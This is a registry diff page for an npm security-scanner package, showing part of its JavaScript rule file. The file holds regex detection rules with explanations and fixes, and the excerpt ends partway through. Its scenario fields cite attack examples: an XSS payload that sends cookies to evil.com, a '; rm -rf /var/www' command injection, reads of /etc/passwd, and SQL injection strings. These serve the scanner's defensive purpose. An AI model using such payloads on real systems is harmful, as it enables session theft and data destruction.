@activemind/scd 1.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (79) hide show
  1. package/LICENSE.md +35 -0
  2. package/README.md +417 -0
  3. package/bin/scd.js +140 -0
  4. package/lib/audit-report.js +93 -0
  5. package/lib/audit-sync.js +172 -0
  6. package/lib/audit.js +356 -0
  7. package/lib/cli-helpers.js +108 -0
  8. package/lib/commands/accept.js +28 -0
  9. package/lib/commands/audit.js +17 -0
  10. package/lib/commands/configure.js +200 -0
  11. package/lib/commands/doctor.js +14 -0
  12. package/lib/commands/exceptions.js +19 -0
  13. package/lib/commands/export-findings.js +46 -0
  14. package/lib/commands/findings.js +306 -0
  15. package/lib/commands/ignore.js +28 -0
  16. package/lib/commands/init.js +16 -0
  17. package/lib/commands/insights.js +24 -0
  18. package/lib/commands/install.js +15 -0
  19. package/lib/commands/list.js +109 -0
  20. package/lib/commands/remove.js +16 -0
  21. package/lib/commands/repo.js +862 -0
  22. package/lib/commands/report.js +234 -0
  23. package/lib/commands/resolve.js +25 -0
  24. package/lib/commands/rules.js +185 -0
  25. package/lib/commands/scan.js +519 -0
  26. package/lib/commands/scope.js +341 -0
  27. package/lib/commands/sync.js +40 -0
  28. package/lib/commands/uninstall.js +15 -0
  29. package/lib/commands/version.js +33 -0
  30. package/lib/comment-map.js +388 -0
  31. package/lib/config.js +325 -0
  32. package/lib/context-modifiers.js +211 -0
  33. package/lib/deep-analyzer.js +225 -0
  34. package/lib/doctor.js +236 -0
  35. package/lib/exception-manager.js +675 -0
  36. package/lib/export-findings.js +376 -0
  37. package/lib/file-context.js +380 -0
  38. package/lib/file-filter.js +204 -0
  39. package/lib/file-manifest.js +145 -0
  40. package/lib/git-utils.js +102 -0
  41. package/lib/global-config.js +239 -0
  42. package/lib/hooks-manager.js +130 -0
  43. package/lib/init-repo.js +147 -0
  44. package/lib/insights-analyzer.js +416 -0
  45. package/lib/insights-output.js +160 -0
  46. package/lib/installer.js +128 -0
  47. package/lib/output-constants.js +32 -0
  48. package/lib/output-terminal.js +407 -0
  49. package/lib/push-queue.js +322 -0
  50. package/lib/remove-repo.js +108 -0
  51. package/lib/repo-context.js +187 -0
  52. package/lib/report-html.js +1154 -0
  53. package/lib/report-index.js +157 -0
  54. package/lib/report-json.js +136 -0
  55. package/lib/report-markdown.js +250 -0
  56. package/lib/resolve-manager.js +148 -0
  57. package/lib/rule-registry.js +205 -0
  58. package/lib/scan-cache.js +171 -0
  59. package/lib/scan-context.js +312 -0
  60. package/lib/scan-schema.js +67 -0
  61. package/lib/scanner-full.js +681 -0
  62. package/lib/scanner-manual.js +348 -0
  63. package/lib/scanner-secrets.js +83 -0
  64. package/lib/scope.js +331 -0
  65. package/lib/store-verify.js +395 -0
  66. package/lib/store.js +310 -0
  67. package/lib/taint-register.js +196 -0
  68. package/lib/version-check.js +46 -0
  69. package/package.json +37 -0
  70. package/rules/rule-loader.js +324 -0
  71. package/rules/rules-aspx-cs.json +399 -0
  72. package/rules/rules-aspx.json +222 -0
  73. package/rules/rules-infra-leakage.json +434 -0
  74. package/rules/rules-js.json +664 -0
  75. package/rules/rules-php.json +521 -0
  76. package/rules/rules-python.json +466 -0
  77. package/rules/rules-secrets.json +99 -0
  78. package/rules/rules-sensitive-files.json +475 -0
  79. package/rules/rules-ts.json +76 -0
@@ -0,0 +1,664 @@
1
+ {
2
+ "schema_version": 1,
3
+ "rules": [
4
+ {
5
+ "id": "INJ-001",
6
+ "variant": "direct",
7
+ "name": "SQL Injection – string concatenation",
8
+ "severity": "CRITICAL",
9
+ "category": "Injection (OWASP A03)",
10
+ "pattern": "(?:query|sql)\\s*[=+]\\s*[`'\\\"]\\s*SELECT[\\s\\S]{0,80}\\$\\{|(?:query|sql)\\s*[=+]\\s*[`'\\\"]\\s*SELECT[\\s\\S]{0,80}\\+\\s*\\w",
11
+ "flags": "gi",
12
+ "file_types": [
13
+ "js",
14
+ "ts",
15
+ "mjs",
16
+ "cjs"
17
+ ],
18
+ "why": "User input is concatenated directly into the SQL query without sanitisation.",
19
+ "scenario": "An attacker enters ' OR '1'='1 in an input field and gains access to the entire database. Can also delete data or take over the server.",
20
+ "fix": "Always use parameterised queries: db.query(\"SELECT * FROM users WHERE id = ?\", [id])"
21
+ },
22
+ {
23
+ "id": "INJ-002",
24
+ "variant": "direct",
25
+ "name": "XSS – unsanitised innerHTML",
26
+ "severity": "HIGH",
27
+ "category": "Injection (OWASP A03)",
28
+ "pattern": "\\.innerHTML\\s*=\\s*(?!['\\\"`]\\s*['\\\"`])[^;]{0,120}(?:req\\.|request\\.|params\\.|query\\.|body\\.|\\$_GET|\\$_POST|location\\.|search\\b|hash\\b)",
29
+ "flags": "g",
30
+ "file_types": [
31
+ "js",
32
+ "ts",
33
+ "mjs",
34
+ "jsx",
35
+ "tsx"
36
+ ],
37
+ "why": "User data is rendered directly as HTML without escaping.",
38
+ "scenario": "An attacker injects <script>document.location=\"https://evil.com?c=\"+document.cookie</script> and steals session cookies from all visitors.",
39
+ "fix": "Use textContent instead of innerHTML, or sanitise with DOMPurify before assignment."
40
+ },
41
+ {
42
+ "id": "INJ-003",
43
+ "variant": "direct",
44
+ "name": "Command Injection – shell execution with user input",
45
+ "severity": "CRITICAL",
46
+ "category": "Injection (OWASP A03)",
47
+ "pattern": "(?:exec|execSync|spawn|spawnSync|execFile)\\s*\\(\\s*(?:[`'\\\"]\\s*[^`'\\\"]*\\$\\{(?:req|request|params|query|body|input|cmd|command)[^}]*\\}|[`'\\\"]\\s*\\+\\s*(?:req|request|params|query|body))",
48
+ "flags": "g",
49
+ "file_types": [
50
+ "js",
51
+ "ts",
52
+ "mjs",
53
+ "cjs"
54
+ ],
55
+ "why": "Shell commands are built with unvalidated user input and executed directly on the server.",
56
+ "scenario": "An attacker sends \"; rm -rf /var/www\" as input. The server executes it as a shell command with the application's privileges.",
57
+ "fix": "Avoid exec with user input. Use parameterised alternatives (child_process.execFile) or whitelist allowed values."
58
+ },
59
+ {
60
+ "id": "INJ-001",
61
+ "variant": "taint",
62
+ "name": "SQL Injection – tainted variable in query",
63
+ "severity": "CRITICAL",
64
+ "category": "Injection (OWASP A03)",
65
+ "pattern": "(?:const|let|var)?\\s*(?:sql|query|qry|SQL|stmt)\\s*[=+]=?\\s*[`'\\\"][^`'\\\"]{0,200}(?:SELECT|INSERT|UPDATE|DELETE)[^`'\\\"]{0,200}[`'\\\"]\\s*[+\\n]|(?:db|pool|conn|client|knex|sequelize)\\s*\\.\\s*(?:query|execute|raw)\\s*\\(\\s*[^\\n'\\\"]{0,200}",
66
+ "flags": "gi",
67
+ "antipattern": "\\?\\s*[,\\])]|prepare\\s*\\(|parameterized|\\$\\d+|\\bplaceholder",
68
+ "antipattern_flags": "i",
69
+ "taint_aware": true,
70
+ "taint_extract": "concat",
71
+ "file_types": [
72
+ "js",
73
+ "ts",
74
+ "mjs",
75
+ "cjs"
76
+ ],
77
+ "why": "A variable assigned from req.query/req.body is concatenated into a SQL query without parameterisation.",
78
+ "scenario": "const id = req.query.id; db.query(\"SELECT * FROM users WHERE id = \" + id) — attacker sends ?id=1 OR 1=1.",
79
+ "fix": "Use parameterised queries: db.query(\"SELECT * FROM users WHERE id = ?\", [id])"
80
+ },
81
+ {
82
+ "id": "INJ-002",
83
+ "variant": "taint",
84
+ "name": "XSS – tainted variable assigned to innerHTML",
85
+ "severity": "HIGH",
86
+ "category": "Injection (OWASP A03)",
87
+ "pattern": "\\.innerHTML\\s*=\\s*[^\\n;]{0,200}",
88
+ "flags": "g",
89
+ "antipattern": "DOMPurify|sanitize|escapeHtml|textContent\\s*=|innerText\\s*=",
90
+ "taint_aware": true,
91
+ "taint_extract": "concat",
92
+ "file_types": [
93
+ "js",
94
+ "ts",
95
+ "mjs",
96
+ "jsx",
97
+ "tsx"
98
+ ],
99
+ "why": "A variable assigned from user input is rendered as HTML without escaping.",
100
+ "scenario": "const name = req.query.name; el.innerHTML = name — attacker injects <script> tags.",
101
+ "fix": "Use textContent instead of innerHTML, or sanitise with DOMPurify.sanitize() before assignment."
102
+ },
103
+ {
104
+ "id": "INJ-003",
105
+ "variant": "taint",
106
+ "name": "Command Injection – tainted variable in shell command",
107
+ "severity": "CRITICAL",
108
+ "category": "Injection (OWASP A03)",
109
+ "pattern": "(?:exec|execSync|spawn|spawnSync|execFile|execFileSync)\\s*\\(\\s*[^\\n]{0,200}",
110
+ "flags": "g",
111
+ "antipattern": "execFile\\s*\\(\\s*['\\\"][\\w/]|shell\\s*:\\s*false|\\bshellEscape\\b",
112
+ "antipattern_flags": "i",
113
+ "taint_aware": true,
114
+ "taint_extract": "concat",
115
+ "file_types": [
116
+ "js",
117
+ "ts",
118
+ "mjs",
119
+ "cjs"
120
+ ],
121
+ "why": "A variable assigned from req.query/req.body is passed to a shell command without sanitisation.",
122
+ "scenario": "const cmd = req.query.cmd; exec(cmd) — attacker sends ?cmd=; cat /etc/passwd.",
123
+ "fix": "Never pass user input to exec(). Use execFile() with an array of arguments, never a shell string."
124
+ },
125
+ {
126
+ "id": "INJ-004",
127
+ "name": "Unparameterized query – dynamic string construction",
128
+ "severity": "HIGH",
129
+ "category": "Injection (OWASP A03)",
130
+ "pattern": "(?:db|pool|conn|client|connection|knex|sequelize|pgClient|mysql)\\s*\\.\\s*(?:query|execute|raw)\\s*\\((?!\\s*['\\\"`][^'\\\"`]*['\\\"`]\\s*,\\s*[([\\[])(?:[^)]{0,400})(?:\\$\\{[^}]{1,60}\\}|['\\\"`]\\s*\\+\\s*\\w|\\w\\s*\\+\\s*['\\\"`])",
131
+ "flags": "gi",
132
+ "file_types": [
133
+ "js",
134
+ "ts",
135
+ "mjs",
136
+ "cjs"
137
+ ],
138
+ "why": "The SQL query is constructed with string concatenation or a template literal. Even if current values appear safe, this pattern invites SQL injection as the codebase grows.",
139
+ "scenario": "A developer adds a new dynamic value later using the same pattern — one unescaped value exposes the entire query.",
140
+ "fix": "Use parameterised queries: db.query(\"SELECT * FROM t WHERE id = ?\", [id]) — never interpolate variables into query strings."
141
+ },
142
+ {
143
+ "id": "AUTH-001",
144
+ "name": "Route missing authentication middleware",
145
+ "severity": "HIGH",
146
+ "category": "Broken Access Control (OWASP A01)",
147
+ "pattern": "(?:app|router)\\.(?:get|post|put|delete|patch)\\s*\\(\\s*['\\\"`][^'\\\"`)]+['\\\"`]\\s*,\\s*async\\s*\\(",
148
+ "flags": "g",
149
+ "lookahead": 200,
150
+ "file_types": [
151
+ "js",
152
+ "ts",
153
+ "mjs",
154
+ "cjs"
155
+ ],
156
+ "antipatterns": [
157
+ "\\.(?:get|post)\\s*\\(\\s*['\"]\\/?(?:health|healthz|ping|status|ready|live|readiness|liveness|metrics)(?:\\/[^'\"]*)?['\"]",
158
+ "\\.(?:get|post)\\s*\\(\\s*['\"]\\/?api\\/(?:health|healthz|ping|status|ready|live|readiness|liveness|metrics)(?:\\/[^'\"]*)?['\"]",
159
+ "\\.(?:get|post)\\s*\\(\\s*['\"]\\/?(?:auth|login|logout|signin|signout|signup|register|oauth|sso|saml|openid|connect|authorize|callback|token|refresh-token|forgot-password|reset-password|verify-email|confirm)(?:\\/[^'\"]*)?['\"]",
160
+ "\\.(?:get|post)\\s*\\(\\s*['\"]\\/?api\\/(?:auth|login|logout|signin|signup|register|oauth|token)(?:\\/[^'\"]*)?['\"]",
161
+ "\\.get\\s*\\(\\s*['\"]\\/?(?:static|assets|public|favicon\\.ico|robots\\.txt|sitemap\\.xml|manifest\\.json)(?:\\/[^'\"]*)?['\"]",
162
+ "\\.get\\s*\\(\\s*['\"]\\/?(?:docs|swagger(?:-ui)?|openapi|api-docs|redoc)(?:\\/[^'\"]*)?['\"]",
163
+ "\\.get\\s*\\(\\s*['\"]\\/?\\.well-known\\/",
164
+ "\\.get\\s*\\(\\s*['\"]\\/?['\"]",
165
+ "\\.(?:get|post)\\s*\\(\\s*['\"]\\/?(?:frontend|client|browser)\\/",
166
+ "\\.get\\s*\\(\\s*['\"][^'\"]*\\.(?:png|jpg|jpeg|gif|ico|svg|webp|css|woff2?|ttf|eot)['\"]"
167
+ ],
168
+ "antipattern_flags": "i",
169
+ "why": "Route is missing visible authentication middleware — data may be accessible without logging in.",
170
+ "scenario": "Anyone can call the endpoint directly without being logged in and access data that should be protected.",
171
+ "fix": "Add authentication middleware to this route, or verify that auth is applied globally via app.use(requireAuth) or router.use(requireAuth) at the app or router level before route registration. If the route is intentionally public, document this explicitly with a comment. If the handler responds to all HTTP methods (e.g. app.all('/',...)), restrict it to the intended method (e.g. app.get) to avoid exposing POST/PATCH/DELETE operations without authentication. Note: platform-level auth (API Gateway, CloudBase, IAM) does not replace route-level auth checks for sensitive data endpoints."
172
+ },
173
+ {
174
+ "id": "AUTH-002",
175
+ "name": "IDOR – object fetched without ownership check",
176
+ "severity": "HIGH",
177
+ "category": "Broken Access Control (OWASP A01)",
178
+ "pattern": "(?:findById|findOne|findByPk|getById)\\s*\\(\\s*req\\.(?:params|query|body)\\.\\w+\\s*\\)",
179
+ "flags": "g",
180
+ "antipattern": "(?:userId|ownerId|createdBy|user\\.id|req\\.user)\\s*[:=]",
181
+ "lookahead": 200,
182
+ "file_types": [
183
+ "js",
184
+ "ts",
185
+ "mjs",
186
+ "cjs"
187
+ ],
188
+ "why": "Objects are fetched directly with an ID from the URL/body without verifying that the user owns them.",
189
+ "scenario": "A user with order ID 42 can change the URL to /api/orders/99 and view another customer's order. Known as Insecure Direct Object Reference (IDOR).",
190
+ "fix": "Always add an ownership check: db.findOne({ _id: id, userId: req.user.id })"
191
+ },
192
+ {
193
+ "id": "AUTH-003",
194
+ "name": "Mass assignment – uncontrolled req.body",
195
+ "severity": "HIGH",
196
+ "category": "Broken Access Control (OWASP A01)",
197
+ "pattern": "(?:create|update|save|insert)\\s*\\(\\s*req\\.body\\s*\\)",
198
+ "flags": "g",
199
+ "file_types": [
200
+ "js",
201
+ "ts",
202
+ "mjs",
203
+ "cjs"
204
+ ],
205
+ "why": "The entire req.body is passed directly to a database operation without whitelist filtering.",
206
+ "scenario": "An attacker adds isAdmin: true to their POST request and gains administrator privileges if the field exists in the database.",
207
+ "fix": "Destructure and whitelist specific fields: const { name, email } = req.body; User.create({ name, email })"
208
+ },
209
+ {
210
+ "id": "AUTH-004",
211
+ "name": "Password in URL-encoded string – risk of GET exposure",
212
+ "severity": "MEDIUM",
213
+ "category": "Identification and Authentication Failures (OWASP A07)",
214
+ "pattern": "['\\\"&]password=[\\\"']\\s*\\+\\s*\\w+|`[^`]*password=\\$\\{",
215
+ "flags": "gi",
216
+ "antipattern": "type\\s*[:=]\\s*['\\\"]GET['\\\"]",
217
+ "antipattern_flags": "i",
218
+ "lookahead": 400,
219
+ "file_types": [
220
+ "js",
221
+ "ts",
222
+ "mjs",
223
+ "cjs"
224
+ ],
225
+ "why": "A URL-encoded string containing password= risks ending up as a GET parameter in the URL, exposing the password in server logs, browser history and Referer headers.",
226
+ "scenario": "If $.ajax({url: endpoint + \"?\" + postdata}) is used instead of POST, the password appears in the URL and is visible in Apache/nginx logs.",
227
+ "fix": "Send passwords as JSON via fetch/axios: fetch(url, { method: \"POST\", body: JSON.stringify({ username, password }) }) — never as a query string."
228
+ },
229
+ {
230
+ "id": "JWT-001",
231
+ "name": "JWT not verified – decode without verify",
232
+ "severity": "CRITICAL",
233
+ "category": "Cryptographic Failures (OWASP A02)",
234
+ "pattern": "jwt\\.decode\\s*\\([^)]+\\)",
235
+ "flags": "g",
236
+ "antipattern": "jwt\\.verify",
237
+ "lookahead": 500,
238
+ "file_types": [
239
+ "js",
240
+ "ts",
241
+ "mjs",
242
+ "cjs"
243
+ ],
244
+ "why": "jwt.decode() does not check the signature — anyone can create an arbitrary token.",
245
+ "scenario": "An attacker creates a JWT with payload {\"role\":\"admin\"} without knowing the secret. Without signature verification it is accepted as valid.",
246
+ "fix": "Always use jwt.verify(token, secret) instead of jwt.decode(token)."
247
+ },
248
+ {
249
+ "id": "JWT-002",
250
+ "name": "JWT stored in localStorage",
251
+ "severity": "HIGH",
252
+ "category": "Cryptographic Failures (OWASP A02)",
253
+ "pattern": "localStorage\\.setItem\\s*\\(\\s*['\\\"`][^'\\\"`)]*(?:token|jwt|auth)[^'\\\"`)]*['\\\"`]",
254
+ "flags": "gi",
255
+ "file_types": [
256
+ "js",
257
+ "ts",
258
+ "mjs",
259
+ "cjs"
260
+ ],
261
+ "why": "localStorage is accessible via JavaScript and vulnerable to XSS attacks.",
262
+ "scenario": "If an XSS vulnerability exists, an attacker can read localStorage and steal all tokens. HttpOnly cookies are not accessible via JavaScript.",
263
+ "fix": "Store tokens in httpOnly, Secure cookies instead of localStorage."
264
+ },
265
+ {
266
+ "id": "CRYPTO-001",
267
+ "name": "Weak password hashing algorithm (MD5/SHA1)",
268
+ "severity": "HIGH",
269
+ "category": "Cryptographic Failures (OWASP A02)",
270
+ "pattern": "(?:crypto\\.createHash\\s*\\(\\s*['\\\"`](?:md5|sha1)['\\\"`]|require\\s*\\(\\s*['\\\"`]md5['\\\"`]\\s*\\))",
271
+ "flags": "gi",
272
+ "file_types": [
273
+ "js",
274
+ "ts",
275
+ "mjs",
276
+ "cjs"
277
+ ],
278
+ "why": "MD5 and SHA1 are cryptographically broken and unsuitable for password hashing.",
279
+ "scenario": "An attacker who steals your database can crack MD5-hashed passwords using rainbow tables in minutes. Millions of passwords are already pre-hashed online.",
280
+ "fix": "Use bcrypt, argon2 or scrypt for passwords: const hash = await bcrypt.hash(password, 12)"
281
+ },
282
+ {
283
+ "id": "FRONT-001",
284
+ "name": "Mapbox public token in frontend",
285
+ "severity": "EXPOSURE",
286
+ "category": "Frontend Exposure",
287
+ "pattern": "['\\\"`]pk\\.eyJ[a-zA-Z0-9._-]{20,}['\\\"`]",
288
+ "flags": "g",
289
+ "file_types": [
290
+ "js",
291
+ "ts",
292
+ "mjs",
293
+ "jsx",
294
+ "tsx",
295
+ "html"
296
+ ],
297
+ "why": "Mapbox public tokens are intended for frontend use but require active domain restriction to be safe.",
298
+ "scenario": "Without domain restriction anyone can use your token for map requests at your expense.",
299
+ "checklist": [
300
+ "Domain restriction enabled in Mapbox Account → Tokens",
301
+ "Scope limited to required services only",
302
+ "Usage limits (rate limits) configured",
303
+ "Rotation plan documented if token is abused"
304
+ ],
305
+ "fix": "Enable domain restriction in Mapbox Account → Tokens. Set usage limits."
306
+ },
307
+ {
308
+ "id": "FRONT-002",
309
+ "name": "Google Maps API key in frontend",
310
+ "severity": "EXPOSURE",
311
+ "category": "Frontend Exposure",
312
+ "pattern": "['\\\"`]AIza[0-9A-Za-z_-]{35}['\\\"`]",
313
+ "flags": "g",
314
+ "file_types": [
315
+ "js",
316
+ "ts",
317
+ "mjs",
318
+ "jsx",
319
+ "tsx",
320
+ "html"
321
+ ],
322
+ "why": "Google Maps API keys in frontend code are visible to everyone. Google recommends HTTP referrer restrictions.",
323
+ "scenario": "Unrestricted Google Maps keys can be abused and result in unexpected costs. Cases involving thousands of dollars in unintended charges are well documented.",
324
+ "checklist": [
325
+ "HTTP referrer restriction enabled in Google Cloud Console",
326
+ "API restriction – only Maps JavaScript API enabled for this key",
327
+ "Billing alerts configured in Google Cloud",
328
+ "Separate key for production vs. development"
329
+ ],
330
+ "fix": "Enable HTTP referrer restriction in Google Cloud Console. Set API restrictions and billing alerts."
331
+ },
332
+ {
333
+ "id": "FRONT-003",
334
+ "name": "Stripe publishable key in frontend",
335
+ "severity": "EXPOSURE",
336
+ "category": "Frontend Exposure",
337
+ "pattern": "['\\\"`]pk_live_[a-zA-Z0-9]{24,}['\\\"`]",
338
+ "flags": "g",
339
+ "file_types": [
340
+ "js",
341
+ "ts",
342
+ "mjs",
343
+ "jsx",
344
+ "tsx"
345
+ ],
346
+ "why": "Stripe's publishable key is public by design but its exposure should be documented and Radar rules should be active.",
347
+ "scenario": "A publishable key can be used to create payment forms in your name for social engineering attacks.",
348
+ "checklist": [
349
+ "Confirmed this is the publishable key (pk_live_) — NOT the secret key (sk_live_)",
350
+ "Stripe Radar rules configured to flag unusual activity",
351
+ "Webhook verification enabled for all incoming events"
352
+ ],
353
+ "fix": "Confirm Radar rules are active in Stripe Dashboard. Verify webhook signatures."
354
+ },
355
+ {
356
+ "id": "FRONT-004",
357
+ "name": "Firebase configuration in frontend",
358
+ "severity": "EXPOSURE",
359
+ "category": "Frontend Exposure",
360
+ "pattern": "apiKey\\s*:\\s*['\\\"`][A-Za-z0-9_-]{35,}['\\\"`]",
361
+ "flags": "g",
362
+ "file_types": [
363
+ "js",
364
+ "ts",
365
+ "mjs",
366
+ "jsx",
367
+ "tsx"
368
+ ],
369
+ "why": "Firebase config in the frontend requires correctly configured Security Rules — otherwise the database is open.",
370
+ "scenario": "Without strict Security Rules anyone with your Firebase config can read or write to your database.",
371
+ "checklist": [
372
+ "Firebase Security Rules reviewed and tested",
373
+ "Authentication enabled — no anonymous write operations permitted",
374
+ "App Check enabled to verify that requests originate from your app"
375
+ ],
376
+ "fix": "Review and test Firebase Security Rules. Enable App Check."
377
+ },
378
+ {
379
+ "id": "FRONT-005",
380
+ "name": "Source map exposed in production",
381
+ "severity": "EXPOSURE",
382
+ "category": "Frontend Exposure",
383
+ "pattern": "\\/\\/[#@]\\s*sourceMappingURL\\s*=\\s*(?!data:)[^\\s]+\\.map",
384
+ "flags": "g",
385
+ "file_types": [
386
+ "js",
387
+ "ts",
388
+ "mjs"
389
+ ],
390
+ "why": "Source map files (.map) should never be served in production. Their presence indicates the build pipeline is not stripping source maps before deployment — which means your own bundled source code is very likely exposed as well.",
391
+ "scenario": "An attacker opens DevTools, finds the sourceMappingURL reference, and downloads the .map file. They can now read the original unminified source of your application.",
392
+ "checklist": [
393
+ "Source maps are NOT generated in the production build (check webpack/vite/rollup config)",
394
+ "If source maps are needed for error tracking — use a private source map server (e.g. Sentry)",
395
+ "Verify that .map files are blocked by the web server / CDN in production",
396
+ "Check that CI/CD pipeline does not deploy the /dist folder including .map files"
397
+ ],
398
+ "fix": "Disable source map generation in production build config. Use a private source map service for error tracking."
399
+ },
400
+ {
401
+ "id": "JS-SECRET-001",
402
+ "name": "Hardcoded API key or secret in source code",
403
+ "severity": "CRITICAL",
404
+ "category": "Security Misconfiguration (OWASP A05)",
405
+ "pattern": "(?:api[_-]?key|api[_-]?secret|app[_-]?secret|client[_-]?secret|access[_-]?token|auth[_-]?token|bearer[_-]?token|private[_-]?key)\\s*[:=]\\s*['\\\"`][a-zA-Z0-9\\-_\\/+]{16,}['\\\"`]",
406
+ "flags": "gi",
407
+ "antipattern": "process\\.env|config\\.|getenv|os\\.environ|\\$\\{|\\btest\\b|\\bmock\\b|\\bexample\\b|\\bplaceholder\\b",
408
+ "antipattern_flags": "i",
409
+ "lookahead": 60,
410
+ "file_types": [
411
+ "js",
412
+ "mjs",
413
+ "cjs",
414
+ "ts",
415
+ "tsx"
416
+ ],
417
+ "why": "Hardcoded secrets are exposed to everyone with repository access — current and former employees, CI systems, forks, and anyone who finds the repo public or leaked.",
418
+ "scenario": "Developer hardcodes const API_SECRET = \"sk-prod-abc123...\" during local testing. It ships in a commit, the repo becomes public six months later, the secret is harvested within hours by automated scanners.",
419
+ "fix": "const apiSecret = process.env.API_SECRET. Store secrets in .env (git-ignored) locally, and in environment variables or a secrets manager in production."
420
+ },
421
+ {
422
+ "id": "JS-SECRET-002",
423
+ "name": "Hardcoded JWT secret or encryption key",
424
+ "severity": "CRITICAL",
425
+ "category": "Security Misconfiguration (OWASP A05)",
426
+ "pattern": "(?:jwt\\.sign|jwt\\.verify|createHmac|createCipheriv|createDecipheriv)\\s*\\([^)]{0,200},[^)]{0,100}['\\\"`][a-zA-Z0-9\\-_\\/+]{8,}['\\\"`]",
427
+ "flags": "g",
428
+ "antipattern": "process\\.env|config\\.",
429
+ "antipattern_flags": "i",
430
+ "lookahead": 40,
431
+ "file_types": [
432
+ "js",
433
+ "mjs",
434
+ "cjs",
435
+ "ts",
436
+ "tsx"
437
+ ],
438
+ "why": "A hardcoded JWT secret means all tokens can be forged by anyone who reads the source code. A hardcoded encryption key means all encrypted data can be decrypted.",
439
+ "scenario": "jwt.sign(payload, \"mysecretkey\") is in source. Attacker reads the key from GitHub, signs arbitrary payloads, and impersonates any user.",
440
+ "fix": "const secret = process.env.JWT_SECRET. Generate with: node -e \"console.log(require('crypto').randomBytes(64).toString('hex'))\". Minimum 256 bits for HMAC-SHA256."
441
+ },
442
+ {
443
+ "id": "JS-REDIRECT-001",
444
+ "name": "Open redirect — unvalidated URL from request used in redirect",
445
+ "severity": "HIGH",
446
+ "category": "Security Misconfiguration (OWASP A05)",
447
+ "pattern": "res\\s*\\.\\s*redirect\\s*\\(\\s*req\\s*\\.\\s*(?:query|body|params)\\s*(?:\\.\\s*\\w+|\\[['\\\"][^'\\\"]+['\\\"]\\])",
448
+ "flags": "g",
449
+ "file_types": [
450
+ "js",
451
+ "mjs",
452
+ "cjs",
453
+ "ts",
454
+ "tsx"
455
+ ],
456
+ "why": "Redirecting to an attacker-controlled URL enables phishing — users see a legitimate domain in the link and are redirected to a malicious site after clicking.",
457
+ "scenario": "Login flow: res.redirect(req.query.returnUrl). Attacker sends users a link to yourapp.com/login?returnUrl=https://evil.com/fake-login.",
458
+ "fix": "Validate the redirect target: const allowed = [\"/dashboard\", \"/profile\"]; res.redirect(allowed.includes(target) ? target : \"/\"). Only allow relative paths or explicitly allowlisted URLs."
459
+ },
460
+ {
461
+ "id": "JS-PATH-001",
462
+ "name": "Path traversal — user input used directly in file system operation",
463
+ "severity": "CRITICAL",
464
+ "category": "Broken Access Control (OWASP A01)",
465
+ "pattern": "fs\\s*\\.\\s*(?:readFile|readFileSync|writeFile|writeFileSync|appendFile|unlink|stat|access)\\s*\\(\\s*(?:req\\s*\\.\\s*(?:query|body|params)|path\\s*\\.\\s*(?:join|resolve)\\s*\\([^)]{0,100}req)",
466
+ "flags": "g",
467
+ "file_types": [
468
+ "js",
469
+ "mjs",
470
+ "cjs",
471
+ "ts",
472
+ "tsx"
473
+ ],
474
+ "why": "Using request input directly in file system calls allows directory traversal. path.join() does not sanitize — path.join(\"/uploads\", \"../../etc/passwd\") resolves to /etc/passwd.",
475
+ "scenario": "GET /file?name=report.pdf becomes fs.readFile(path.join(__dirname, req.query.name)). Attacker requests ?name=../../etc/passwd and receives the server's password file.",
476
+ "fix": "Resolve and validate: const base = path.resolve(\"/safe/uploads\"); const target = path.resolve(base, req.query.name); if (!target.startsWith(base)) return res.status(403).send(\"Forbidden\");"
477
+ },
478
+ {
479
+ "id": "JS-CRYPTO-002",
480
+ "name": "Weak random number generator used for security-sensitive value",
481
+ "severity": "HIGH",
482
+ "category": "Cryptographic Failures (OWASP A02)",
483
+ "pattern": "Math\\.random\\s*\\(\\s*\\)[\\s\\S]{0,120}(?:token|secret|password|csrf|nonce|salt|otp|code|key|session|id)\\b|\\b(?:token|secret|password|csrf|nonce|salt|otp|code|key|session)\\b[\\s\\S]{0,120}Math\\.random\\s*\\(\\s*\\)",
484
+ "flags": "gi",
485
+ "file_types": [
486
+ "js",
487
+ "mjs",
488
+ "cjs",
489
+ "ts",
490
+ "tsx"
491
+ ],
492
+ "confidence_rules": [
493
+ {
494
+ "if_line_contains": [
495
+ "numId",
496
+ "cssName",
497
+ "container",
498
+ "dashboard",
499
+ "modal",
500
+ "widget",
501
+ "panel",
502
+ "grid",
503
+ "element"
504
+ ],
505
+ "confidence": "LOW"
506
+ },
507
+ {
508
+ "if_line_contains": [
509
+ "nonce",
510
+ "state",
511
+ "csrf",
512
+ "oidc",
513
+ "oauth",
514
+ "auth",
515
+ "reset_token",
516
+ "verify",
517
+ "session_id",
518
+ "refresh_token"
519
+ ],
520
+ "confidence": "HIGH"
521
+ },
522
+ {
523
+ "if_path_contains": [
524
+ "auth",
525
+ "login",
526
+ "oauth",
527
+ "oidc",
528
+ "token",
529
+ "security",
530
+ "crypto"
531
+ ],
532
+ "confidence": "HIGH"
533
+ },
534
+ {
535
+ "default": "MEDIUM"
536
+ }
537
+ ],
538
+ "why": "Math.random() is a pseudo-random number generator (PRNG) — not a cryptographically secure RNG. Its output is predictable given enough observed values.",
539
+ "scenario": "const resetToken = Math.random().toString(36).slice(2) used as a password-reset token. An attacker who observes a few tokens can statistically predict the next one and take over any account.",
540
+ "fix": "Use the built-in crypto module: const token = require(\"crypto\").randomBytes(32).toString(\"hex\"). For shorter codes: crypto.randomInt(100000, 999999)."
541
+ },
542
+ {
543
+ "id": "JS-CRYPTO-003",
544
+ "name": "Hardcoded encryption key or IV in crypto operation",
545
+ "severity": "CRITICAL",
546
+ "category": "Cryptographic Failures (OWASP A02)",
547
+ "pattern": "(?:createCipheriv|createDecipheriv)\\s*\\([^)]{0,300}['\\\"`][a-zA-Z0-9+\\/=\\-_]{8,}['\\\"`]\\s*,\\s*['\\\"`][a-zA-Z0-9+\\/=\\-_]{8,}['\\\"`]",
548
+ "flags": "g",
549
+ "antipattern": "process\\.env|config\\.",
550
+ "antipattern_flags": "i",
551
+ "lookahead": 60,
552
+ "file_types": [
553
+ "js",
554
+ "mjs",
555
+ "cjs",
556
+ "ts",
557
+ "tsx"
558
+ ],
559
+ "why": "Hardcoding the encryption key and IV means all encrypted data uses the same key, visible to anyone with source access. A static IV also makes the encryption deterministic.",
560
+ "scenario": "createCipheriv(\"aes-256-cbc\", \"mysecretkey12345\", \"myiv123456789012\") in source. Attacker reads key and IV, decrypts all stored data.",
561
+ "fix": "Key: const key = Buffer.from(process.env.ENCRYPTION_KEY, \"hex\"). IV: generate fresh for every encryption: const iv = crypto.randomBytes(16)."
562
+ },
563
+ {
564
